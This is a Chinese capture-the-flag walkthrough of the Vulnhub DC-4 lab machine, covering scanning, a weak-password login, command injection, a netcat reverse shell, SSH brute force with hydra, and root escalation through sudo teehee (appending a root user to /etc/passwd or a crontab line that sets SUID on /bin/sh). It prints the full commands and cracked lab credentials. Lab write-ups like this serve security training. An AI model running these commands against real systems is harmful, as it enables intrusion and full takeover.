Vulnhub-DC-4靶机实战

前言

靶机下载地址:https://www.vulnhub.com/entry/dc-4,313/

KALI地址:192.168.75.108
靶机地址:192.168.75.207

一.信息发现

1.主机发现

使用命令如下

netdiscover -r 192.168.75.108

如下图,发现了我们靶机的地址。

Vulnhub-DC-4靶机实战

2.主机扫描

这里使用nmap工具进行扫描,命令如下。

nmap -A -T4 -O -p 0-65535 192.168.75.207

扫描结果如下,发现开放了 80, 22号端口。

Vulnhub-DC-4靶机实战

3.目录扫描

既然开放了80端口,那么我们就可以二话不说直接开始目录扫描,命令如下。

dirb http://192.168.75.207

扫描结果如下图,发现并没有什么可以利用的点。

Vulnhub-DC-4靶机实战

4.网页信息收集

既然开放了,80端口,我们可以直接去访问,如下图,打开首页发现是一个登录框,我们可以尝试登录,随后又抽卡了源代码,网络信息,均没有发现可以利用的点。

Vulnhub-DC-4靶机实战

二.漏洞利用

经过上面信息收集,发现了首页是可以登录的,并且没有验证码,试过了SQL注入,不行,尝试弱密码爆破。

爆破结果如下,发现密码可能是happy。

Vulnhub-DC-4靶机实战

经过测试发现就是happy,如下图,并且成功登录进去。

1.命令执行

Vulnhub-DC-4靶机实战

经过发现,发现可以执行命令,如下图,想法是是否可以尝试绕过,执行其他命令。

Vulnhub-DC-4靶机实战

这里就可以使用bp进行抓包,然后进行绕过,如下图

Vulnhub-DC-4靶机实战

下面是输出结果,如下图。

Vulnhub-DC-4靶机实战

所以我们就有了思路,一个思路是,让靶机下载我们的webshell,然后我们连接,第二个思路是反弹shell。

2.反弹shell

简单的说一下第一种思路,经过测试,发现靶机没有wget的下载权限,就放弃了,直接来到第二个思路也就是反弹shell的思路。

这里在靶机使用的命令是 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.75.108 6666 > /tmp/f;

然后在kali里面使用nc命令来进行监听,命令如下。

nc -lnvp 6666

如下图效果开始监听。

Vulnhub-DC-4靶机实战

这里说一下历程,按照正常来说,像如下图一样发包就可以直接反弹成功了,但是发送了,就是没有反弹,看了大佬的博客才知道不能这样发包。

Vulnhub-DC-4靶机实战

所以我们需要在前端修改代码,才能成功反弹,如下图查看源代码修改即可,然后点击run运行就可以直接成功反弹shell了。

Vulnhub-DC-4靶机实战

如下图,KALI成功接收反弹。

Vulnhub-DC-4靶机实战

三.提权

1.获取jim账户密码

先按照如下图操作,先查看自己是什么用户和ID,然后使用python更换终端。

Vulnhub-DC-4靶机实战

然后我们可以查看 /etc/passwd下面的用户,如下图,发现了,三个用户,一个是 jim,一个是 charles,一个是 sam

Vulnhub-DC-4靶机实战

然后经过查找,发现在home目录下面发现了几个人的目录路径,如下图。

Vulnhub-DC-4靶机实战

经过测试发现,在jim目录下面,发现了老密码的字样,我们直接打开看。

Vulnhub-DC-4靶机实战

如下图,打开全是密码,这里的思路,这么多密码,肯定要试试暴力破解了,这里我们把密码复制进去文本

Vulnhub-DC-4靶机实战

我们这里使用 hydra工具来进行暴力破解ssh,使用命令如下。

hydra -l jim -P pass.txt -s 22 ssh://192.168.75.207 -vV

-l #对应的是一个用户,如果是大写的-L就是用户本
-P #对应的是一个密码本,如果是小p那么就是一个密码
-s #对应的是端口
-vV #显示破解过程

如下图破解成功,成功发现jim的密码。

账户:jim
密码:jibril04

Vulnhub-DC-4靶机实战

但是经过测试发现jim这个账户啥也不能干啊。

2.获取Charles账户密码

经过一番查找在 /var/mail下面发现了一封邮件,邮件内容如下图,发现是密码。

Vulnhub-DC-4靶机实战

我们可以尝试登录一下查看,如下图,发现可以登录,然后我们查看是否有sudo权限,我们直接使用如下命令查看。

sudo -l

发现有teeche的命令执行权限,如下图。

Vulnhub-DC-4靶机实战

3.执行提权操作

因为不熟悉teehee的提权方式,所以不怎么熟悉,就查了一下资料,这里有两种方法可以提权,第一种就是在 /etc/passwd下面添加用户

第二种方法就是在linux的自动任务执行里面进行利用。

1.在/etc/passwd添加用户

首先需要执行一个命令 perl -le 'print crypt("123456", "ken"),如下图。

Vulnhub-DC-4靶机实战

然后就可以执行一个命令来进行添加用户,命令如下。

echo "takagisan:keNdbTFs2CPY6:0:0:::/bin/bash" | sudo teehee -a /etc/passwd

然后如下图,报错失败,查了一下资料之后,发现需要第一次登录root用户在退出来就可以了,所以我这里直接换其他的提权方式了。

Vulnhub-DC-4靶机实战

2.创建定时任务给提权

看了一下大佬的博客,发现是这样的,创建一个定时人物然后给 /bin/sh赋予SUID的权限,然后用teehee命令这个定时任务,写到/etc/crontab里面去。

命令如下。

echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab

crontab命令详解可以百度查资料。

这样之后我们就可以直接在控制台里面输入 /bin/sh就可以了,如下图提权成功。

Vulnhub-DC-4靶机实战

然后我们就可以去查看flag了,如下图,在root目录发现flag。

Vulnhub-DC-4靶机实战

四.总结

需要注意查看var下面的mail邮件目录,然后提权需要注意teehee提权方式,还需要多注意查看各种敏感目录,和文件。

Original: https://www.cnblogs.com/takagisan/p/16198213.html
Author: 御七彩虹猫
Title: Vulnhub-DC-4靶机实战

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/608464/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • Mybatis3中的MapUtil是用来干嘛的?

    解决并发带来的性能问题(读取操作不加锁) https://zhuanlan.zhihu.com/p/364340936 Original: https://www.cnblogs….

    Java 2023年6月7日
    0110
  • 【maven】Dependency “XXX”not found

    父工程pom文件中依赖报红, <dependencymanagement></dependencymanagement> 中依赖报红属于正常现象,在子工程继…

    Java 2023年6月15日
    061
  • Linux 磁盘分区、挂载

    Linux 磁盘分区、挂载 Linux 分区 原理说明 对于 Linux 来说无论有几个分区,分给哪一个目录使用,它归根结底就只有一个根目录,一个独立且唯一的文件结构 , Linu…

    Java 2023年6月5日
    094
  • java学习之多线程

    0x00前言和思维导图 1.什么是进程?什么事线程?我们可以这样理解,一个qq相当于一个进程,你同时间跟几个人聊qq你每一个聊天框就相当于线程(线程就是进程的每一个执行场景/执行单…

    Java 2023年6月13日
    079
  • java语言的优缺点

    转载自:https://blog.csdn.net/bingshanyijiao_fkx/article/details/51613954 角度一: 优点:简单、安全、稳定、跨平台…

    Java 2023年5月29日
    062
  • [转java发送http的get、post请求]

    Http请求类 package wzh.Http; import java.io.BufferedReader; import java.io.IOException; impor…

    Java 2023年5月29日
    094
  • 进程与线程

    简单的比喻:进程=火车,线程=车厢 进程:进程(process)是程序的一次动态执行过程,是一个正在执行的程序的实例。程序是指令、数据及其组织形式的描述,是一个没有生命的实体,只有…

    Java 2023年6月5日
    089
  • Spring mvc源码分析系列–前言

    距离上次写文章已经过去接近两个月了,Spring mvc系列其实一直都想写,但是却不知道如何下笔,原因有如下几点: 现在项目开发前后端分离的趋势不可阻挡。Spring mvc这一套…

    Java 2023年6月8日
    077
  • 设计模式—建造者模式

    类型:创建型 目的:创建对象时,提升属性设置的 灵活性。 灵活性 类中定义了大量属性时,通常为了创建对象时属性初始设置的便利随之定义大量的构造方法。为了既不定义过多的构造方法,又保…

    Java 2023年6月7日
    074
  • 记录一次NoSuchMethodError问题的解决

    一、问题描述 今天在执行单元测试时遇到了一个NoSuchMethodError错误,完整的报错信息如下: … Caused by: javax.validation.Valid…

    Java 2023年6月15日
    072
  • 080_入门案例-fanout 发布订阅模式

    RabbitMQ的模式之发布订阅模式 生产者 消费者 RabbitMQ的模式之发布订阅模式 :::info参考官网:https://www.rabbitmq.com/getstar…

    Java 2023年6月7日
    0107
  • 【Markdown】页内锚点链接 和 TOC

    页内锚点链接 注意:锚点链接只能指向标题 格式 超链接: [](#&#x6807;&#x9898;&#x540D;&#x79F0;) 只需要写一个#…

    Java 2023年6月15日
    072
  • java服务器端Mock服务接口模拟实践入门

    Mock服务的使用目的在于前端测试、APP开发、前端测试人员在服务还没完备时模拟接口。 本篇里实现实时动态mock的完整代码: https://gitee.com/475660/d…

    Java 2023年5月29日
    055
  • SpringBoot 源码解析 (十)—– Spring Boot 精髓:集成AOP

    本篇主要集成Sping一个重要功能AOP 我们还是先回顾一下以前Spring中是如何使用AOP的,大家可以看看我这篇文章spring5 源码深度解析—– A…

    Java 2023年5月29日
    099
  • 初读鸟哥的linux私房菜的收获

    搞了十几年开发,一直是在windows下面搞.net开发,有一些不甘心,所以转行去搞java开发,当然也少不了要学习一下linux嘛。前同事波神是这方面的高手,给我推荐去读《鸟哥的…

    Java 2023年6月7日
    083
  • 【Unity Shader学习笔记】Unity基础纹理-单张纹理

    1 单张纹理 1.1 纹理 使用纹理映射(Texture Mapping)技术,我们把一张图片逐纹素(Texel)地控制模型的颜色。 美术人员建模时,会在建模软件中利用纹理展开技术…

    Java 2023年6月8日
    072
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球